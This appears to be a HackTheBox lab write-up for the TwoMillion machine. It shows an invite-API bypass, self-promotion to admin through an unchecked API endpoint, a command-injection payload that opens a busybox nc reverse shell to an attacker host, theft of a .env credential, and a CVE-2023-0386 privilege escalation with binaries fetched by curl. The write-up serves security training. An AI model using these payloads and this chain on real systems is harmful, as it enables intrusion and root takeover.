Skip to content
HackIndex logo

HackIndex

TwoMillion Writeup - HackTheBox

Easy Linux

Last updated May 10, 2026 5 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/

Add 2million.htb to /etc/hosts. Port 80 redirects to the hostname — this is a nostalgic recreation of the original HackTheBox platform.

Directory Enumeration

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://2million.htb -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -r --xl 1674
/home       (Status: 200)
/register   (Status: 200)
/login      (Status: 200)
/api        (Status: 401)
/invite     (Status: 200)

/register redirects to /invite — registration requires an invite code. /api returns 401 unauthenticated.

Initial Access

Invite Code Generation

Browsing to /invite loads a form. The page source pulls in /js/inviteapi.min.js. The obfuscated JavaScript, when de-obfuscated and evaluated, reveals:

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) { console.log(response) },
        error: function(response) { console.log(response) }
    })
}

Call the endpoint:

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://2million.htb/api/v1/invite/how/to/generate
{
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
    "enctype": "ROT13"
  }
}

Decode the ROT13 string: In order to generate the invite code, make a POST request to /api/v1/invite/generate.

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://2million.htb/api/v1/invite/generate
{"data": {"code": "TjBVU1YtM1ZPVTAtNTcyVU8tRTI0UjA=", "format": "encoded"}}

Base64-decode the code: N0USV-3VOU0-572UO-E24R0. Use it to register an account at /register, then log in.

API Enumeration

With a valid session cookie, enumerate the API:

┌──(kali㉿kali)-[~]
└─$ curl http://2million.htb/api/v1 --cookie "PHPSESSID=$PHPSESSID"
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Three admin routes stand out: PUT /api/v1/admin/settings/update is interesting — it's a settings update endpoint that shouldn't be reachable by regular users.

Broken Access Control — Self-Promotion to Admin

Test the PUT endpoint with the session cookie:

┌──(kali㉿kali)-[~]
└─$ curl -i -X PUT http://2million.htb/api/v1/admin/settings/update \
--cookie "PHPSESSID=$PHPSESSID" \
-H 'Content-Type: application/json' \
--data-raw '{}'
{"status":"danger","message":"Missing parameter: email"}

The endpoint accepts the request — no admin check enforced. Probe for required parameters by adding them incrementally:

┌──(kali㉿kali)-[~]
└─$ curl -i -X PUT http://2million.htb/api/v1/admin/settings/update \
--cookie "PHPSESSID=$PHPSESSID" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"[email protected]"}'
{"status":"danger","message":"Missing parameter: is_admin"}
┌──(kali㉿kali)-[~]
└─$ curl -i -X PUT http://2million.htb/api/v1/admin/settings/update \
--cookie "PHPSESSID=$PHPSESSID" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"[email protected]", "is_admin": 1}'
{"id":20,"username":"$USER","is_admin":1}

The API promotes the account to admin without any server-side authorisation check.

Command Injection in VPN Generator

With admin privileges, POST /api/v1/admin/vpn/generate is now accessible. It accepts a username parameter and generates an OpenVPN config. Test for command injection:

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
--cookie "PHPSESSID=$PHPSESSID" \
-H 'Content-Type: application/json' \
--data '{"username": "$USER && busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash"}'

Start a listener first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Shell lands as www-data. Stabilise it:

user@host ~ $ python3 -c 'import pty;pty.spawn("/bin/bash")'

Credential Discovery

The web root contains a .env file:

user@host ~ $ cat /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=$ADMIN_PASSWORD

SSH as admin

┌──(kali㉿kali)-[~]
└─$ ssh admin@$TARGET_IP

The database password works for the system account directly.

Privilege Escalation

CVE-2023-0386 — OverlayFS FUSE Privilege Escalation

A mail tip in /var/mail/admin points toward the vulnerability:

Subject: Urgent: Patch System OS

Hey admin, [...] That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

The kernel version confirms exposure:

user@host ~ $ uname -r
5.15.70-051570-generic

CVE-2023-0386 is an OverlayFS vulnerability in Linux kernels before 6.2 that allows an unprivileged user to copy a SUID binary into an OverlayFS mount via FUSE, bypassing the normal restriction that strips SUID bits on copy. The result is a SUID-root binary writable and executable by the current user.

Clone and compile the PoC from puckiestyle/CVE-2023-0386 on your attacker machine. The repo requires two binaries: fuse and exp, plus a helper gc. Compile them:

user@host ~ $ # On attacker machine (Ubuntu 18.04 or matching environment)
user@host ~ $ docker run -it ubuntu:18.04 bash
user@host ~ $ apt update && apt install -y build-essential libdbus-1-dev pkg-config git
user@host ~ $ git clone https://github.com/puckiestyle/CVE-2023-0386
user@host ~ $ cd CVE-2023-0386
user@host ~ $ make

Serve the binaries and transfer them to the target:

┌──(kali㉿kali)-[~]
└─$ # On attacker machine
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $ATTACKER_PORT
user@host ~ $ # On target
user@host ~ $ mkdir /tmp/test && cd /tmp/test
user@host ~ $ curl http://$ATTACKER_IP:$ATTACKER_PORT/fuse -o fuse
user@host ~ $ curl http://$ATTACKER_IP:$ATTACKER_PORT/gc -o gc
user@host ~ $ curl http://$ATTACKER_IP:$ATTACKER_PORT/exp -o exp
user@host ~ $ chmod +x fuse gc exp

Create the required directory structure and run fuse in the background to set up the FUSE filesystem mount:

user@host ~ $ mkdir ovlcap
user@host ~ $ ./fuse ./ovlcap/lower ./gc &
[+] len of gc: 0x3f38
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] ioctl callback
path /file
cmd 0x80086601

Trigger the exploit:

user@host ~ $ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jan  9 20:37 .
drwxrwxr-x 6 root   root     4096 Jan  9 20:37 ..
-rwsrwxrwx 1 nobody nogroup 16184 Jan  1  1970 file
[+] exploit success!
root@2million /tmp/test # uname -r
5.15.70-051570-generic